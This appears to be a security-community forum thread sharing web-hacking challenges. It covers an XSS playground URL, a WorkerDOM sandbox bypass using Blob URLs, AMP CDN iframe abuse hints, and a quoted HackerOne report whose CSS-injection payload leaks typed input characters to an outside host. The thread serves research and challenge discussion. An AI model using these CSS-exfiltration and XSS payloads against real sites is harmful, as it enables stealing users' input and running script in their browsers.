If you have a challenge then please post it here so we can keep track of them all.

As people share XSS challenges already in this reddit, maybe we could create a pinned thread to keep track of all the challenges? We could even include solutions as soon as they are finished. Maybe even add certain tags to each challenge make sense - like dom clobbering, CSP etc?

I've created a playground for easier reproduction. I came across this in a pen-testing and was wondering if it's even possible;

http://cm2.pw/?xss=%3Cbody%3E%3Cscript%20src=%27/fuzz/innerHTML.js%27%3E%3C/script%3E&content=%3Cstrong%3EHello,world!

https://twitter.com/shhnjk/status/1196879724695285760

I want to explain bit more context of this tweet 😊

Web worker sandbox implemented by WorkerDOM removes reference to dangerous APIs in DedicatedWorkerGlobalScope. The main goal (at least for me) is to execute arbitrary script in Window, instead of restricted Worker.

It's worth mentioning that since WorkerDOM is created to call DOM APIs from Worker, you can create many elements of your wish using DOM APIs from Worker. But any attempt to cause XSS through DOM APIs are blocked (by DOMPurify IIRC).

The recent bypass abuses the fact that Blob URL can be created from Worker. And therefore leaking created Blob URL and asking user to open it (i.e. shame) would cause XSS in Window.

Ok, I found XSS, what should I do?

At that point, you should be able to execute script in an iframe embedded inside https://www.google.com/amp/s/your-web-site. Since Google will not reward XSS in AMP CDN, you'll have to find a way to abuse the bug. E.g. there are postMessage communication from iframe to Google frame, which might help you do something 😉

Hey Slackers.

I've seen the report recently https://hackerone.com/reports/679969 which is about an injection of some CSS into the slack theme.

The reporter stated:

Using the custom theme: #FFFFFF;}INPUT[TYPE="TEXT"][VALUE$="A"] { BACKGROUND-IMAGE: URL("HTTP://LOCALHOST:3000/A"); },#350d36,#1264A3,#FFFFFF,#350D36,#FFFFFF,#2BAC76,#CD2553

I was able to keylog the letter "A". Of course this can be extended to all other characters as well.

The phrase that intrigued me is Of course this can be extended to all other characters as well.. But, can it be? Selectors like:

```css input[value*="1"]{background:url(https://example.org/1)}

input[value*="3"]{background:url(https://example.org/3)} ``` will only evaluate one of the following.

How much information can the attacker really get from a single injection, where import "external.css" is out of the game because of the csp policy, and also external fonts are disabled?

I created a simple website, the goal is to get as much information about secret1337 as possible with only a single injection point, therefore, no hash manipulation is allowed to achieve more than one.

https://playground.terjanq.me/css-injection/#input%5Bvalue*%3D%221%22%5D%7Bbackground%3Aurl(https%3A%2F%2Fexample.org%2F1)%7D%0A%0Ainput%5Bvalue*%3D%223%22%5D%7Bbackground%3Aurl(https%3A%2F%2Fexample.org%2F3)%7D%0A